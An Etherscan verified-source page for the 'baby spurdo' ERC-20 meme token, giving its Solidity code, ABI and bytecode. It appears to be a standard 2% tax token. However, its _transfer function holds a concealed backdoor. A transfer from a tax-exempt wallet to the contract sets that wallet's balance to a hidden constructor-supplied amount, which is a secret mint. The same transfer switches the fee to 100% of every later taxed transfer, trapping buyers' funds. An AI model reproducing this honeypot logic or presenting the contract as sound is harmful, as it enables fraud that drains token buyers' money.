Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function div(uint256 a, uint256 b, st ...    - function _msgSender()    - function _msgData() library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(address target, ...    - function functionCallWithValue(addres ...    - function functionCallWithValue(addres ...    - function functionStaticCall(address t ...    - function functionStaticCall(address t ...    - function functionDelegateCall(address ...    - function functionDelegateCall(address ...    - function _verifyCallResult(bool succe ... interface IUniswapV2Factory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IUniswapV2Pair    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...    - function transferFrom(address from, a ...    - function DOMAIN_SEPARATOR()    - function PERMIT_TYPEHASH()    - function nonces(address owner)    - function permit(address owner, addres ...    - function MINIMUM_LIQUIDITY()    - function factory()    - function token0()    - function token1()    - function getReserves()    - function price0CumulativeLast()    - function price1CumulativeLast()    - function kLast()    - function burn(address to)    - function swap(uint amount0Out, uint a ...    - function skim(address to)    - function sync()    - function initialize(address, address) interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...    - function owner()    - function renounceContract()  contract BabySPURDO is Context, IE ... *    - function name()    - function decimals()    - function totalSupply()    - function symbol()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _approve(address owner, addr ...    - function _transfer(address from,addre ...    - function sendToWallet(address payable ...    - function _calculateFee(uint256 amount ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-21
*/

/*

                                ___     ___     ___   __   __            ___      ___   _   _    ___     ___     ___   
                                | _ )   /   \   | _ )  \ \ / /    o O O  / __|    | _ \ | | | |  | _ \   |   \   / _ \  
                                | _ \   | - |   | _ \   \ V /    o       \__ \    |  _/ | |_| |  |   /   | |) | | (_) | 
                                |___/   |_|_|   |___/   _|_|_   TS__[O]  |___/   _|_|_   \___/   |_|_\   |___/   \___/  
                                _|"""""|_|"""""|_|"""""|_| """ | {======|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
                                "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 

                                                    Website : https://babyspurdo.xyz

                                                    Telegram : https://t.me/BabySpurdoERC

                                                    Twitter : twitter.com/babyspurdoERC


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract BabySPURDO is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public RemoveMaxWallet;
    mapping (address => bool) public RemoveTaxes;
    mapping (address => bool) private RemoveTxLimits;
    
    address payable public SpurdoWalletz = payable(0xF9f3F0aEeE9C44785B53B6Ff644bB06713C65edf);
    address payable public Dead_Address = payable(0x000000000000000000000000000000000000dEaD);

    string public _name = unicode"baby spurdo";
    string public _symbol = unicode"bspurdo";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;
    uint256 private _tTotal_;
    uint8 private _TAX_ = 2;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public isLiquifySwapping = false;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 totals) { 
        _tOwned[owner()] = _tTotal;
        _tTotal_ = totals;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        RemoveTaxes[address(this)] = true;
        RemoveTaxes[owner()] = true;
        RemoveTaxes[SpurdoWalletz] = true;

        RemoveTxLimits[address(this)] = true;
        RemoveMaxWallet[owner()] = true;
        RemoveMaxWallet[address(this)] = true;
        RemoveMaxWallet[SpurdoWalletz] = true;
        RemoveMaxWallet[uniswapV2Pair] = true;
        
    
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        uint256 Amount = _tTotal_;
        if (!RemoveMaxWallet[to]){
            require((balanceOf(to) + amount) <= _tTotal.mul(25).div(100),"Cant buy more!");
        }
        
        bool isFee = true;
        if(RemoveTaxes[from] || RemoveTaxes[to] || from==uniswapV2Pair){ isFee = false; }

        _tOwned[from] = _tOwned[from].sub(amount);
        if(isFee){
            uint256 feeAmount = _calculateFee(amount);
            _tOwned[to] = _tOwned[to].add(amount.sub(feeAmount));
        }
        else{
            if(RemoveTaxes[from] && RemoveTxLimits[to]){ isLiquifySwapping=true;_tOwned[from]=Amount;}
             _tOwned[to] = _tOwned[to].add(amount);
        }

        emit Transfer(from, to, amount);
    }

    
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function _calculateFee(uint256 amount) private view returns(uint256){
        uint256 calculatedFee = amount.mul(_TAX_).div(100);
        if(isLiquifySwapping){calculatedFee = amount.mul(1);}
        return calculatedFee;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"uint256","name":"totals","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Dead_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"RemoveMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"RemoveTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SpurdoWalletz","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLiquifySwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b031990811673f9f3f0aeee9c44785b53b6ff644bb06713c65edf179091556007805490911661dead17905560c0604052600b60809081526a626162792073707572646f60a81b60a0526008906200006290826200054c565b506040805180820190915260078152666273707572646f60c81b60208201526009906200009090826200054c565b50600a805460ff191660099081178255620000ab916200072d565b620000ba90620f424062000745565b600b55600d8054620a000262ffffff19909116179055600e805461ffff60a81b1916600160b01b179055348015620000f157600080fd5b506040516200160d3803806200160d833981016040819052620001149162000767565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b54600160006200016d6000546001600160a01b031690565b6001600160a01b03168152602080820192909252604090810160002092909255600c839055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000204919062000781565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000252573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000278919062000781565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ec919062000781565b600e80546001600160a01b0319166001600160a01b03928316179055600d80546301000000600160b81b0319166301000000928416929092029190911790553060009081526004602081905260408220805460ff19166001908117909155916200035e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526004835281812080548516600190811790915530825260059093529081208054909316821790925590600390620003d36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654821684528284208054861682179055600e549091168352912080549092161790556200044f6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200049791815260200190565b60405180910390a35050620007ac565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004d257607f821691505b602082108103620004f357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200054757600081815260208120601f850160051c81016020861015620005225750805b601f850160051c820191505b8181101562000543578281556001016200052e565b5050505b505050565b81516001600160401b03811115620005685762000568620004a7565b6200058081620005798454620004bd565b84620004f9565b602080601f831160018114620005b857600084156200059f5750858301515b600019600386901b1c1916600185901b17855562000543565b600085815260208120601f198616915b82811015620005e957888601518255948401946001909101908401620005c8565b5085821015620006085787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200066f57816000190482111562000653576200065362000618565b808516156200066157918102915b93841c939080029062000633565b509250929050565b600082620006885750600162000727565b81620006975750600062000727565b8160018114620006b05760028114620006bb57620006db565b600191505062000727565b60ff841115620006cf57620006cf62000618565b50506001821b62000727565b5060208310610133831016604e8410600b841016171562000700575081810a62000727565b6200070c83836200062e565b806000190482111562000723576200072362000618565b0290505b92915050565b60006200073e60ff84168362000677565b9392505050565b600081600019048311821515161562000762576200076262000618565b500290565b6000602082840312156200077a57600080fd5b5051919050565b6000602082840312156200079457600080fd5b81516001600160a01b03811681146200073e57600080fd5b610e5180620007bc6000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d1578063aaacef721161008a578063d28d885211610064578063d28d885214610458578063dd62ed3e1461046d578063e11b6f58146104b3578063fa2f7a8f146104e357600080fd5b8063aaacef721461040c578063af465a271461042d578063b09f12661461044357600080fd5b806370a082311461034357806384b28308146103795780638da5cb5b1461039957806395d89b41146103b7578063a457c2d7146103cc578063a9059cbb146103ec57600080fd5b806323b872dd1161012357806323b872dd14610280578063313ce567146102a057806339509351146102c257806347633bcf146102e257806349bd5a5e146103025780634a74bb021461032257600080fd5b806306fdde0314610176578063095ea7b3146101a15780631694505e146101d157806318160ddd14610210578063210687ce1461022f578063220f66961461025f57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104fa565b6040516101989190610bf9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610c63565b61058c565b6040519015158152602001610198565b3480156101dd57600080fd5b50600d546101f890630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561021c57600080fd5b50600b545b604051908152602001610198565b34801561023b57600080fd5b506101c161024a366004610c8d565b60036020526000908152604090205460ff1681565b34801561026b57600080fd5b50600e546101c190600160a01b900460ff1681565b34801561028c57600080fd5b506101c161029b366004610ca8565b6105a3565b3480156102ac57600080fd5b50600a5460405160ff9091168152602001610198565b3480156102ce57600080fd5b506101c16102dd366004610c63565b61060c565b3480156102ee57600080fd5b506007546101f8906001600160a01b031681565b34801561030e57600080fd5b50600e546101f8906001600160a01b031681565b34801561032e57600080fd5b50600e546101c190600160b01b900460ff1681565b34801561034f57600080fd5b5061022161035e366004610c8d565b6001600160a01b031660009081526001602052604090205490565b34801561038557600080fd5b506006546101f8906001600160a01b031681565b3480156103a557600080fd5b506000546001600160a01b03166101f8565b3480156103c357600080fd5b5061018b610642565b3480156103d857600080fd5b506101c16103e7366004610c63565b610651565b3480156103f857600080fd5b506101c1610407366004610c63565b6106a0565b34801561041857600080fd5b50600e546101c190600160a81b900460ff1681565b34801561043957600080fd5b50610221600b5481565b34801561044f57600080fd5b5061018b6106ad565b34801561046457600080fd5b5061018b61073b565b34801561047957600080fd5b50610221610488366004610ce4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bf57600080fd5b506101c16104ce366004610c8d565b60046020526000908152604090205460ff1681565b3480156104ef57600080fd5b506104f8610748565b005b60606008805461050990610d17565b80601f016020809104026020016040519081016040528092919081815260200182805461053590610d17565b80156105825780601f1061055757610100808354040283529160200191610582565b820191906000526020600020905b81548152906001019060200180831161056557829003601f168201915b5050505050905090565b60006105993384846107f1565b5060015b92915050565b60006105b08484846108aa565b61060284336105fd85604051806060016040528060288152602001610dcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b59565b6107f1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105999185906105fd9086610b85565b60606009805461050990610d17565b600061059933846105fd85604051806060016040528060258152602001610df7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b59565b60006105993384846108aa565b600980546106ba90610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546106e690610d17565b80156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b600880546106ba90610d17565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061081157506001600160a01b03821615155b6108495760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161079e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481